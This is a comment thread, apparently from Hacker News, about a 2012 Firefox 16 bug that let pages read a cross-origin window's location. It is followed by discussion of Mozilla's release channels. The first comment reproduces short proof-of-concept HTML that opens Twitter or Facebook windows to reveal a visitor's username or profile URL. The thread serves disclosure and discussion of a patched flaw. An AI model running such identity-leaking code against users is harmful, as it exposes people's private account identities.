6 ms·
If you're curious like I was, you can find the details of the vulnerability described by Gareth Heyes at http://www.thespanner.co.uk/2012/10/10/firefox-knows-wh
by pittsburgh 14y ago
If you're curious like I was, you can find the details of the vulnerability described by Gareth Heyes at http://www.thespanner.co.uk/2012/10/10/firefox-knows-what-your-friends-did-last-summer/ http://www.thespanner.co.uk/2012/10/10/firefox-knows-what-yo...
His proof-of-concept of the vulnerability can be found at http://www.businessinfo.co.uk/labs/firefox_knows_what_your_friends_did_last_summer/poc.html http://www.businessinfo.co.uk/labs/firefox_knows_what_your_f... (Best fetched via curl... or Firefox 16.0 with an active Twitter session if you're daring.)
Or you can just see the source here:
<!doctype html>
<script>
function poc() {
var win = window.open('https://twitter.com/lists/',
'newWin', 'width=200,height=200');
setTimeout(function(){
alert('Hello '+/^https:\/\/twitter.com\/([^/]+)/.exec(win.location)[1])
}, 5000);
}
</script>
<input type=button value="Firefox knows" onclick="poc()">
edit: As others discovered, the regex stuff is an unnecessary red herring. Here's a simplified POC that uses Facebook to discover your vanity URL:
<!doctype html>
<script>
function poc() {
var win = window.open('https://facebook.com/profile.php',
'newWin', 'width=200,height=200');
setTimeout(function(){
alert('Hello ' + win.location);
}, 5000);
}
</script>
<input type=button value="Firefox knows" onclick="poc()">
- gcp 14y agoGiven that this bug was likely there for at least 12 weeks in Beta and Aurora releases, it sort-of makes you question if the release schedule couldn't be even faster by skipping one of these or at least try to encourage much more people (certainly the ones who can pull off the above) to try Betas. Having 18 weeks of lead-time for a release clearly doesn't do much good when nobody tries it beforehand. There were chemspills for Firefox 13, 14, 15 and now 16. None of those seemed to be caused by the rapid development schedule, they were (IIRC) all issues discovered because the release had much wider exposure compared to beta. On the other hand, Firefox now does silent updates, so if there hadn't been so much publicity about the Firefox release (or on the update being blocked), it might have been a non-event. In a few hours everyone will be on 16.0.1. I'm not sure if this would have happend to a non-open-source project, if we'd even hear about it. Maybe we can make it clearer that "Beta" is really Mozillian for "Release Candidate"?
- dfc 14y agoChemspills?
- cpeterso 14y agoA "chemspill" is Mozilla-speak for a x.0.1 dot release to fix a critical bug, such as a security bug or a serious crash.
- ashleyblackmore 14y agohttp://www.aosabook.org/en/ffreleng.html http://www.aosabook.org/en/ffreleng.html
- cpeterso 14y agoI agree. Chrome does well with just three channels: Dev, Beta, and Release (ignoring the Canary channel as a special case of Dev). I support shortening the release cycle (to maybe 4 weeks) and increasing the number of Beta users. Having two channels (Aurora and Beta) between dev and release is useful because it widens the user population as the release stabilizes. As you point out, some bugs can only be found by increasing the test population, rather than the test time. Early adopters that install Aurora or Beta are not representative of the "Joe User" population, who probably suffer from malware, anti-virus software, and older hardware. (posted from Firefox Nightly 19.0a1 :)
- gcp 14y agoChrome does well with just three channels: Dev, Beta, and Release (ignoring the Canary channel as a special case of Dev) Like Aurora is a special case of Nightly? What's the difference? (I'm not familiar with the Chrome dev process) I support shortening the release cycle (to maybe 4 weeks) How many bugs are backed out in Beta? It's surprisingly many, which suggests that 12 weeks is quite short. Having two channels (Aurora and Beta) between dev and release is useful because it widens the user population as the release stabilizes I'm not sure I agree on this. I mean, are there people running Beta that would run Release if Beta wasn't available? I'd think those people would be on Aurora. Early adopters that install Aurora or Beta are not representative of the "Joe User" population, who probably suffer from malware, anti-virus software, and older hardware I'm afraid you're right and this makes chem-spills unavoidable, though this particularly one is sad as it looked entirely avoidable.